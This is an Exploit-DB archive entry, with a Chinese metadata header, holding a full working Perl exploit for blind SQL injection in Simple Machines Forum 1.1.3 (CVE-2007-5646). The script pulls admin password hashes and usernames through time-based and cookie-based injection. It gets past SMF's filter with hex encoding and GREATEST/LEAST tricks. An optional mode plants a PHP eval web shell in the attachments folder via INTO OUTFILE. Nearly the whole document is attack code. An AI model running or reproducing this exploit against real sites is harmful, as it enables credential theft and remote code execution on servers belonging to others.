标题: Simple Machines Forum (SMF) 1.1.3 - Blind SQL Injection EDB-ID: 4547 CVE: 2007-5646 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-20 漏洞利用脚本: #!/usr/bin/perl

#Written By Michael Brooks
#contact: th3(dot)r00k(at)gmail(dot)com

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
# -Binary Search
# -Multi-Threaded
# -NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off. 
#Total Bypass of SMF's SQL Injection filter.

#I submitted a patch for these flaws:
#http://www.simplemachines.org/community/index.php?topic=196380.0

#I would like to thank RetroGod for being so skilled and willing to help me out. 

#**Warning** perl will somtimes seg fault when useing threads.
#Tested Under Linux

use LWP::UserAgent;
use threads;
use Thread::Semaphore;

 #global variables
 my $threads=1;
 my $semaphore = new Thread::Semaphore; 
 my $globPos : shared=1;
 my $oper : shared;
 my @result : shared;
 my $target;
 my $cookie=false;
 
 $type="sleep";

 main();#execute main
 sub main{
  $n=$threads;
  $u=$p=$b=1;
  $start_time=time;
  $e=1;
  #Process arguments passed by the command line.
  for($v=0;$v<=$#ARGV;$v++){
   if(substr($ARGV[$v],0,1) eq '-'){
    $var=substr($ARGV[$v],1);
    $$var=$ARGV[$v+1];
   }
  }
  
  @t=split('\?',$t);
  @t=split('index.php',@t[0]);
  $target=@t[0];
  if(index($target,"/",length($target)-1)==-1){
   $target=$target.'/';
  }
  if($e!=1){
   print "\nExample:\n";
   print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p  -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D 
\n\nSMF Is Vulnerable!
Finding Password Hash for the Name: 'admin'
Please Standby...

Password Hash:
1d94709528bb1c83d08f3088d4043f4742891f4f
This attack used 161 HTTP requests and took 8 seconds to complete.
EOF\n\n";
   die();
  }
  $cookie=$c;
  $user=$u;
  if($n != 1){
   $threads=$n;
  }
  #Check to make sure the target is vulnerable
  if($b!=1||$p!=1){
   $vulnerable=1;
   #Yes I am assuming the default table prefix,  its a shame you can't access information_schema.
   #No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!
   bin_finder(2,1,"1","smf_members","and 1!=1");
   if(int(@result[0])!=0){
    $vulnerable=0;
   }
   $globPos=1;
   bin_finder(2,1,"1","smf_members","and 1=1");
   if(int(@result[0])!=1){
    $vulnerable=0;
   }
   if($vulnerable==1){
    print "SMF Is Vulnerable!\n"
   }else{
    print "\nATTACK FAILED!\n\n";
    if($cookie){
     print "Try sending a private message to your self or SMF might be patched.\n"
    }else{
     print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"
    }
    die();
   }
  }

  $m=0;
  if($p!=1){
   if($user != 1){
    print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";    
    for(my $x=0;$x<$threads;$x++){
     #@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";
     @threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);
    }
    for(my $x=0;$x<$threads;$x++){
     @threads[$x]->join;
    }
    print "\nPassword Hash:\n";
    foreach $y (@result){
     print sprintf("%x",$y);
    }
   }else{#
    print "Finding An Administrative Credental.\n Please Standby...\n";
    #bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread
    #$admin_count=@result[0];
    #$globPos=1;
    #print "There are $admin_count admins on this forum.\n";
    #for($a=0;$a<$admin_count;$a++){
     for(my $x=0;$x<$threads;$x++){
      @threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1  ";
     }
     for(my $x=0;$x<$threads;$x++){
      @threads[$x]->join;
     }
     print "\nPassword Hash:\n";
     foreach $y (@result){
      print sprintf("%x",$y);
     }
     $globPos=1;
     bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1  ");#single thread
     $name_len=@result[0];
     $globPos=1;
     
     for($x=0;$x<$threads;$x++){
      @threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1  ";
     }
     for($x=0;$x<$threads;$x++){
      @threads[$x]->join;
     }
     print "\nName:\n";
     for($l=0;$l<=$name_len;$l++){
      print sprintf("%c",@result[$l]);
     }
     print "\n";
     @result=null;
     $globPos=1;
    #}
   }
  }elsif($b!=1){
   if(!$cookie){
    die("\nA cookie is needed for this attack!\n");
   }
   print "Determining the exact path to place the backdoor. \n Please standby...\n";
   bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread
   $length=@result[0];
   $globPos=1;
   for(my $x=0;$x<$threads;$x++){
    @threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";
   }
  
   for(my $x=0;$x<$threads;$x++){
    @threads[$x]->join;
   }
   $path='';
   print "Path Disclosed:";
   foreach $y (@result){
    $path.=sprintf("%c" ,$y);
   }
   print $path."\n";
   #$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.
   #$path=~s/%/*/g;
   $r=rand();#Random file name so the attack will succeed multiple times against the same target. 
   my $ua = LWP::UserAgent->new;
   $ua->agent("Firebird");
   $ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.
   $load="\\,union select ".hex_encode("<?php eval(\$_GET[e]);?>").' into outfile  "","'.$path.'/'.$r.'.php",""#';  
   $tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
   $oper++;
   print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"
  }else{
   $m=1;
   print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";
   print "-p  obtain passwords (if used without -u,  then an admin credential will be obtained)\n";
   print "-b  installs a backdoor using 'into outfile'. (requires -c)  **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; 
   print "-t   target\n";
   print "-c  A valid cookie(Much faster attack)\n";
   print "\nAditional:\n";
   print "-u  obtains the password for a user name\n";
   print "-n  number of threads\n";
   print "-e  Shows an Example.\n";
   print "The password hash is generated as:\n";
   print "sha1(strtolower($username) . $password);\n\n";

  }
  if($m!=1){
   $t=time-$start_time;
   print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";
   print "\nEOF\n";
  }
 }
 
 #Takes complex input to build the request,  returns a simple bool. 
 sub bin_ask{
  my $if = shift;
  my $table=shift;
  my $where = shift;
  my $ua = shift;
  my $f=0;
  if(!$cookie){
   #no union select or sub-select needed for this attack!
   $a=time();
   #die($where);
   #$where="and realName = ".hex_encode("admin");
   $load="\"\\\",\" or  (IF(".$if.",sleep(10),1) $where) limit 1,1 #\""; 
   $load=~s/_/?/g;#This accounts for the search request being modfied by SMF.
   $load=~s/%/*/g;
   $tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);
   $page= $tst->content;
   #print "<br>page:".$page;die;
   $t= time();
   #print "\n 1:time\n".$t."\n\n";
   if($t-$a>=10){
    $f=1;
   }
  }else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.
   $load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF  
   $tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
   $page= $tst->content;
   #print $page; die ;  
   if(index($page,"No Messages Found")==-1){
    $f=1;
   }
  }
  return $f;
 }

 #worker thread
 sub bin_finder{
  my $base=shift;
  my $length=shift;
  my $question=shift;
  my $table=shift;
  my $where=shift;
  #One UserAgent object is used per thread.
  my $ua = LWP::UserAgent->new;
  $ua->agent("Firebird");
  $ua->default_header("Cookie"=>$cookie);
   
  #binary search:
  while($globPos<=$length){
   $semaphore->down;
    $c=$globPos;
    $globPos++; 
   $semaphore->up;
   my $n=$base-1;
   my $low=0;
   my $floor= $low;
   my $high=$n-1;
   my $pos= $low+(($high-low)/2);
   my $f=1;
   while($low<=$high&&$f){
    if(!$cookie){
     $great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters 
      $less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;
    }else{
     $great=sprintf($question,$c).">".$pos;
     $less=sprintf($question,$c)."<".$pos;    
    }
    if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos
     $oper++;
     if($pos==$n-1){#if this is true then the value must be the modulus. 
      @result[$c-1]=$pos+1;
      #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
      $f=0;
     }else{
      $low=$pos+1;
     }
    }elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos
     $oper++;
     if($pos==$floor+1){#if this is true the value must be zero.
      @result[$c-1]=$pos-1;
      #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
      $f=0;
     }else{
      $high=$pos-1;
     }
    }else{
     #both greater than and less then where asked, so thats two http requests. 
     $oper++;
     $oper++;
     @result[$c-1]=$pos;
     #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,
     $f=0;
    }
     $pos=$low+(($high-$low)/2);
   }
  }
 }
#hex_encode was ported from one of RetroGod's php exploits.
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up.  
#rGot you are leet!  
sub hex_encode{
  my $my_string=shift;
  my $encoded="0x";
  my $len=length($my_string);
  for ($k=0; $k<$len; $k++){
 $temp=sprintf("%X",ord(substr($my_string,$k,1)));
 if (length($temp)==1) {
  $temp="0".$temp;
 }
 $encoded.=$temp;
  }
  return $encoded;
}

# milw0rm.com [2007-10-20] URL: https://www.exploit-db.com/exploits/4547